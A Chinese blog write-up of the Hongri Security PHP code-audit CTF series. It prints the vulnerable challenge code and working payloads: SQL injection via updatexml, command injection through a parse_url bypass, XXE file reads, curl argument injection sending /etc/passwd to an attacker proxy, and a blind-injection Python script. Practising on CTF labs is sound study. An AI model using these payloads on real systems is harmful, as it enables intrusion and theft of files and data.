红日安全出的代码审计项目。。。之前审计苹果CMS复现不成功十分郁闷,于是先从里面的CTF进行练习吧。

看官方出的题解。。作为菜鸡很难理解,每一道复现的都很艰难,也的确学习到很多知识。

DAY1–in_array() 绕过和不能使用拼接函数的 updatexml 注入

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>

这题的问题关键点在于 in_array 绕过
首先,我们得先绕过in_array函数。流程是将数据库里的所有的id值取出存在$whitelist中 然后,判断传入的id是否存在白名单里。也就是说,其实id必须是数字。如果不是数字就会报错。

关于in_array()函数

in_array ](http://php.net/manual/zh/function.in-array.php):(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

$haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE

所以关键点在于第三个参数,并没有指定为true导致比较的时候并没有进行类型比较,而由于PHP的弱类型,1=1a是成立的.做一个测试

test.php代码如下

1
2
3
4
5
6
7
<?PHP
$id="1 and 1=if(length(database())>100,1,0)";
$whitelist = range(1,233);
if(in_array($id, $whitelist)){
echo "true";
}
?>

得到回显


这样即便输入的不是数字。也不会die从而给出正确的回显。这里可以利用盲注,可是由于stop_hackor过滤了导致information_schema.tables也无法通过正则,没想出很好的绕过方法。但是,在尝试绕过的时候发现它将报错信息回显了!


随即产生的一个思路就是报错注入。https://zhhhy.github.io/2018/09/26/sqli/
在之前的博客里翻了翻没有一条payload能满足这次注入的需求,果然还是积累太少。

红日安全团队给的官方答案如下:

学习一波updatexml注入的payload

常见的报错payload的如下

1
and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)  //0x7e 等于 ~

updatexml 中存在特殊字符或字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,也就是说如果我们想要查询的数据是数字开头,例如 7701HongRi ,那么查询结果只会显示 HongRi

由于拼接函数被过滤了,于是变形payload如下

1
and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

当然,这一切都是知道表名和列名的前提,一时间想不到如何绕过对or这个的处理。假设我们知道表名列名,那么就可以利用盲注来获取数据。

1
?id=1 and if(length((select flag from flag))>1,1,0)

参考资料

DAY2– filter_var()函数的绕过与远程命令执行

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>

关于filter_var()函数的介绍

定义和用法

filter_var() 函数通过指定的过滤器过滤变量。

如果成功,则返回已过滤的数据,如果失败,则返回 false。

语法

1
2
> filter_var(variable, filter, options)
>
参数 描述
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

题目里filter_var($url, FILTER_VALIDATE_URL)过滤器参数为FILTER_VALIDATE_URL,看看这个过滤器是啥玩意

定义和用法

FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。

  • Name: “validate_url”
  • ID-number: 273

可能的标志:

  • FILTER_FLAG_SCHEME_REQUIRED - 要求 URL 是 RFC 兼容 URL。(比如:http://example)
  • FILTER_FLAG_HOST_REQUIRED - 要求 URL 包含主机名(http://www.example.com)
  • FILTER_FLAG_PATH_REQUIRED - 要求 URL 在主机名后存在路径(比如:eg.com/example1/)
  • FILTER_FLAG_QUERY_REQUIRED - 要求 URL 存在查询字符串(比如:”eg.php?age=37”)

简单的理解中这个过滤器就是用来判断传入的url是否有效合法的。

先来绕过 filter_varFILTER_VALIDATE_URL 过滤器,贴上红日安全团队给的payload

1
2
3
4
5
6
7
8
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23

接着要绕过 parse_url 函数,并且满足 $site_info[‘host’] 的值以 sec-redclub.com 结尾,这部分没有复现成功,大概是我用的是windows环境,红日安全应该用的是linux吧.payload如下:

1
http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/

输出看看parse_url解析后的结果

成功解析成满足正则的host。这里猜测之类的是为了exce函数正常执行。

接下来,得到路径读取flag

当我们直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,具体payload如下:

1
http://localhost/index.php?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/

当我们直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格

所以我们可以换成 cat<f1agi3hEre.php 命令,即可成功获取flag

1541647952280

这边虽然没有直接读到flag,但是可以用另一种方式证明系统调用我们注入的命令了

1
http://127.0.0.1/day2/index.php?url=demo://%22;echo>aaaa.txt;%23;sec-redclub.com:80/

1541650041703

在目录下生成了一个输出了一个aaaa.txt。算是另一种复现成功了吧。

关于SSRF的知识点,还是没办法理解透彻,归根结底,对协议php语言不够熟悉。慢慢积累吧,道阻且长!

参考资料:SSRF技巧之如何绕过filter_var( )

浅谈CTF中命令执行与绕过的小技巧

DAY3–实例化漏洞与XXE漏洞(Globlterator类与SimpleXMLElement)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}

首先,我们有三个参数可控,在之后的if判断了是否存在这个类名是否存在。我们假如输入一个不存在的类名,就如图返回`404

1541680384471

这时候就需要利用PHP的内置类,先用 GlobIterator 类搜索 flag文件 名字

关于Globlterator

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我选择用 FilesystemIterator::CURRENT_AS_FILEINFO ,其对应的常量值为0,你可以在 这里 找到这些常量的值,所以最终搜索文件的 payload 如下:

1
http://localhost/CTF/index.php?name=GlobIterator&param=./*.php&param2=0

注意的是。。由于红日安全每篇都没有告知环境,这里踩了不少坑。。在PHP5中使用这个payload失败,返回的结果非常奇怪,并且路径关系搞不清。更换版本成php7就成功了。

1541683509132

发现flag.php,再使用内置类SimpleXMLElement读取flag.php文件的内容。这里贴上红日安全payload

这里我们要结合使用PHP流的使用,因为当文件中存在: < > & ‘ “ 这5个符号时,会导致XML文件解析错误,所以我们这里利用PHP文件流,将要读取的文件内容经过 base64编码 后输出即可

1
http://localhost/CTF/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/flag.php">]><x>%26xxe;</x>&param2=2

1541684423585

利用base64解码以后就可以读取到flag了。成功复现开心~

DAY4

环境没有搭建成功。放着以后玩

DAY5–escapeshellarg和escapeshellcmd联合使用导致多参数注入

这个题类似的前不久做过,moctf中的unset。学习到了利用特定情境下unset删除了超全局变量_GET导致绕过waf

第一部分问题代码如下,具体分析由于上篇博客已经写过了。引用一下红日安全的分析

1
2
3
4
5
6
7
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}

我通过 GET 请求向 index.php 提交 flag=test ,接着通过 POST 请求提交 _GET[flag]=test 。当开始遍历 $_POST 超全局数组的时候, $__k 代表 _GET[flag] ,所以 $$__k 就是 $_GET[flag] ,即 test 值,此时 $$__k == $__v 成立,变量 $_GET[flag] 就被 unset 了。

我们成功绕过waf之后需要使得if(md5($_GET['flag'] ) == md5($_GET['hongri']))成立。这很简单,利用php弱类型的特性可以成功绕过。

接下来解释,利用curl读取文件。

1
2
3
4
5
6
7
8
9
    $url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}

但是呢,$url经过escapeshellargescapeshellcmd的处理。先看看这两个函数是做什么的

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7)

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

说明

​ string escapeshellarg ( string $arg )

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

escapeshellcmd

(PHP 4, PHP 5, PHP 7)

escapeshellcmd — shell 元字符转义

说明

​ string escapeshellcmd ( string $command )

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

​ 反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A\xFF 和 *”* 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

这样看可能很抽象,抽出题目关键代码,单独建个文件测试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
var_dump($url);
echo"<br>";
$url = escapeshellarg($url);
echo "escapeshellarg<br>";
var_dump($url);
$url = escapeshellcmd($url);
echo "<br>";
echo "escapeshellcmd<br>";
var_dump($url);
system("curl ".$url);
?>

观察发现经过escapeshellarg函数后,多了一个双引号。也就是强制加了一对双引号使得传入的一定是个字符串,而escapeshellcmd是将双引号进行转义,问题在于,这个转义是将不配对的双引号转义,也就是如果我们多加入一个双引号闭合前面双引号导致转义被破坏。这部分没有复现成功换了PHP5PHP7都失败了,贴上红日安全的图,之后找个时间填坑。

1
http://127.0.0.1/index1.php?url=http://127.0.0.1/flag.php' -T /etc/passwd

这样也就是使得后面的语句逃脱了引号的包裹,使得成为独立的参数可以被curl执行

curl 中存在 -F 提交表单的方法,也可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F “web=@index.html;type=text/html” url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:

1
http://baidu.com/' -F file=@/etc/passwd -x  vps:9999

这题的思路:先是删除了超全局变量_GET绕过了waf,然后escapeshellarg将原有的字符串添加上一对双引号,保证传入的是一个字符,接着escapeshellcmd将特殊符号进行转义,但是他只能转义无法配对,也就是我们如果恶意添加一个单引号就可以绕乱原先的转义,再利用curl请求并且监听自己的端口就能得到回显的flag

这题没复现成功,还是很不开心的。而且对于curl操作的一无所知,以至于后半部分的操作看的有些懵逼。不过也算有所收获,再接再厉吧。

DAY6–不严格的正则匹配以及弱类型比较问题

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

通读源代码,其实就是对password的各种限制,首先查一下,graph这些是什么玩意。

ascii 0 - 127的ascii字符
blank 空格和水平制表符
cntrl 控制字符
digit 十进制数(same as \d)
graph 打印字符, 不包括空格
lower 小写字母
print 打印字符,包含空格
punct 打印字符, 不包括字母和数字
space 空白字符 (比\s多垂直制表符)
upper 大写字母
word 单词字符(same as \w)
alnum 字母和数字
alpha 字母
xdigit 十六进制数字

先分析一下三个正则都是什么意思:

preg_match('/^[[:graph:]]{12,}$/', $password)可打印的字符,不包括空格12个以及以上。

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/' 打印字符,十进制数字,大写字母,小写字母,输入的字符串,要是以上四种模式的任意一种。if (6 > preg_match_all($reg, $password, $arr))而这一个判断,表示我们输入的字符串用四种模式得分割出6个子串。

做个测试,test.php

1
2
3
4
5
6
7
8
9
10
11
<?php

#$password="ZhhY12_123";
$password="ZhhY12";
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
var_dump($arr[0]);
else
echo preg_match_all($reg, $password, $arr);

?>

$password="ZhhY12";时得到如下输出

#$password="ZhhY12_123";

preg_match_all返回的是成功匹配的次数。

接着看第三条正则$ps = array('punct', 'digit', 'upper', 'lower');可打印字符,数字,大小写字母

1
2
3
4
5
6
7
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

所以,这个代码块所表达的是,至少含有数组规定的类型中的三种。

拿到flag的条件是if ("42" == $password) echo $flag;

目标很明确,找到一个满足上述条件的password就可以拿到flag。一开始我一心想构造一个值进过运算后等于42

例如这个2e0+40.000000可是呢,post过去发现不行。。陷入了郁闷之中。。这边做了一个小测试。

1
2
3
4
5
6
$a="2.0e+00000";
$b="2.0e+0.0000";
if($a=="2")
echo "A true";
if($b=="2")
echo "B ture"

所以当我构造42.0e+00000就可以拿到flag。这个测试背后的原理并没有搞懂。。想不出一个合理的解释。。。

DYA7–pares_str()变量覆盖和文件上传条件竞争问题

源码如下

1
2
3
4
5
6
7
8
9
//index.php
<?php
$a = 'hongri';
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>

这题首先是一个变量覆盖的问题,变量覆盖总结。这里的变量覆盖是由于parse_str引起的。

@parse_str($id); 这个函数不会检查变量 $id 是否存在,如果通过其他方式传入数据给变量 $id ,且当前 $id 中数据存在,它将会直接覆盖掉。

直接贴payload?id=a[0]=s878926199a这里不难理解,看上面的链接也能明白。就不赘述了。

其实这题做过。。moctf上就有现成的环境,不过当时并没有源码。
关键代码

1
2
3
4
5
6
7
8
9
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}

发现文件是固定写死的。$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . ""; 虽然这有一个加密地址的操作$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";但是由于用户的REMOTE_ADDR是固定的,也就是加密后的值总是固定的。接着将flag写入上传的文件中,调用usleep讲线程挂起1s,最后写入Too Slow!

很明显这是个条件竞争的问题。不过。。。这题是为了出题而出题吧?实战中应该是上传的脚本被后台程序删除了,导致无法getshell不过原理是相通的,只要在写入Too slow!之前访问到flag就行了。这里的前提是,每次上传的路径都不变,上面的代码恰好满足了这些条件。

DAY8–无字母符号getshell

之前看过Ph神的博客。复现过一些。先放着,之后单独写一篇

DAY9–变量覆盖导致的waf绕过

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// index.php
<?php
include 'config.php';
include 'function.php';

$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
}
else die($conn->error);

if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
<form action="index.php" method="post">
<p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
</form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
while($row = $result->fetch_row()){
echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
}
echo "</table></center>";
}
$conn->close();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// function.php
<?php
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}

function convert($str){
return htmlentities($str);
}

$limit_words = array('造反' => '造**', '法轮功' => '法**');

foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>

这边为了复现方便我将所有的POST传参数都改成了GET传参,这题一开始我看的是一脸懵逼,题解看半天看不懂。知道多加了几个echo语句之后,才逐渐清晰了思路。所以。。echo一些变量值,对整理思路有奇效!

首先在function.php存在着变量覆盖的问题。

1
2
3
4
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}

再看看接受参数的部分

1
2
3
4
5
6
7
8
if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
-------------------------------------------------
function convert($str){
return htmlentities($str);
}

传入的参数msg经过addslashes转义,htmlentities实体编码,再替换自定义的非法字符。不得不佩服大佬们的思路,先看看payload

1
2
msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#&limit_words[\0\]=
msg=1%00' and updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1))#&limit_words[\0\]=

利用变量覆盖limit_words[\0\]注册为空。为什么是\0\由于%00进入php之后就被转成了\0又由于'被转义成\'所以拼接出来msg的值是1\0\,又由于经过replace_bad_word函数的替换,导致\0\被替换成空,从而单引号得以逃脱转义。

这个环境是PHP7,在php5这个payload就不适合了,好像转义的情况变得不一样了。但是这个思路是很值得学习!,这也是第一次意识到变量覆盖的危害,应该是第二次,还有一个是之前写的删除超全局变量GET再加变量覆盖导致的waf绕过

DAY10–程序未及时停止导致的问题

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
echo $sql;
$result = $conn->query($sql);
if($result->num_rows > 0){
// echo "error";
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>

可以要看到,是有做sql注入过滤,但是过滤并不严格

1
and if(length((table_name from information_schema.tables where table_schema=database() limit 0,1,))>1,sleep(5),0) %23

以上payload不会触发过滤这里如何绕过sql不是我想考虑的重点,重点是程序没有及时退出的产生的问题,所以我先把sleep函数先移除过滤,方便测试。

1
2
3
4
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}

当检测到非法字符的时候,页面跳转到error页面。

但是,程序并没有停止。。而是继续往下执行了。 这边做个小测试,比较直观

在执行sql语句后加入一句跳转到yes,也就是。原本匹配到非法字符是跳转到error,但是由于程序并没有结束,语句继续执行,导致sql语句还是被带入数据库中查询,而能够执行到跳转yes的语句,就证明了sql语句以及被执行了。

但是,其实既然能绕过waf就意味着不会执行跳转到error页面。而如果无法绕过过滤,导致sql语句因为替换而变形,就算带入数据库,也无法猜解数据库数据。(个人分析,不知道正确否)

上图显示的是sleep被替换了,导致语句无法执行。关于代替sleep的注入语句还有别的,这边先mark之后再学习。mysql 延时注入新思路 。再贴上红日安全写的注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys, string, requests

version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
for char in version_chars:
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
url = "http://localhost/index.php?id=%s" % payload
if char == '#':
if(flag):
sys.stdout.write("\n[+] The flag is: %s" % flag)
sys.stdout.flush()
else:
print("[-] Something run error!")
exit()
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += char
sys.stdout.write("\r[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break
print("[-] Something run error!")

观察脚本的payload也可以发现,成功绕过了waf,并不会跳转到error页面。

DAY11

这篇篇幅有点长,反序列化的问题,有必要单独写一下。

DAY12–反斜杠导致单引号注入和REQUEST引起的waf绕过

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
require 'db.inc.php';

if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}

if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);


$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

#echo $query;

$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}

?>

代码逻辑很简单,接受usernamepassword并且对其进行过滤。这个正则写的挺复杂,菜鸟看不懂。。大概就是过滤了,unionorwhere之类的关键字,由于不能够理解正则,也就没办法从正则不严格的方面入手。而这题的考点,我猜测也不是正则吧。

关键点,反斜杠的遗漏导致单引号逃逸转义接受参数时方法和waf接受参数的方法不一致产生的问题

关于反斜杠的问题之前博客已经写过了,这边就不赘述。传送门
关注一下第二个问题。这边get到一个新知识。

1
2
3
4
5
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}

首先参数被传递进来的时候就已经接受过滤,注意这里的接受方法是$_REQUEST,而php中 REQUEST 变量默认情况下包含了 GETPOSTCOOKIE 的数组。

php.ini 配置文件中,有一个参数 variables_order ,这参数有以下可选项目

1
2
3
4
5
> > ; variables_order
> > ; Default Value: "EGPCS"
> > ; Development Value: "GPCS"
> > ; Production Value: "GPCS"
> >

这些字母分别对应的是 E: EnvironmentG:GetP:PostC:CookieS:Server。这些字母的出现顺序,表明了数据的加载顺序。而 php.ini 中这个参数默认的配置是 GPCS ,也就是说如果以 POSTGET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值。

做个小实验

1
2
$username =$_REQUEST['username'];
echo "<br>",$username,"<br>";

说明了当传入的参数名相同时GET的值会被POST的值覆盖掉

那么这题的就可以用这种方法绕过正则,导致正则无效。payload如下

1
2
3
username=\&password=union select * from ctf.user%23;
同时POST
username=aaa&password=bbb

总结

复现完这些问题,学习到不少知识。除去三篇没有成功复现的,从九篇里感受到了安全问题真是无处不在。有时候,按照正常人的思路怎么会想到这种天马行空的payload,审计这些题目的时候,总感觉头皮发麻,也可能是缺乏开发经验,看到大篇幅的代码的时候有些手足无措。。这也是没有去复现day11的原因。。道阻且长。。现在这停一停,比较信息量还是很大的,而且CMS也还没开始复现,一切似乎还在计划之中。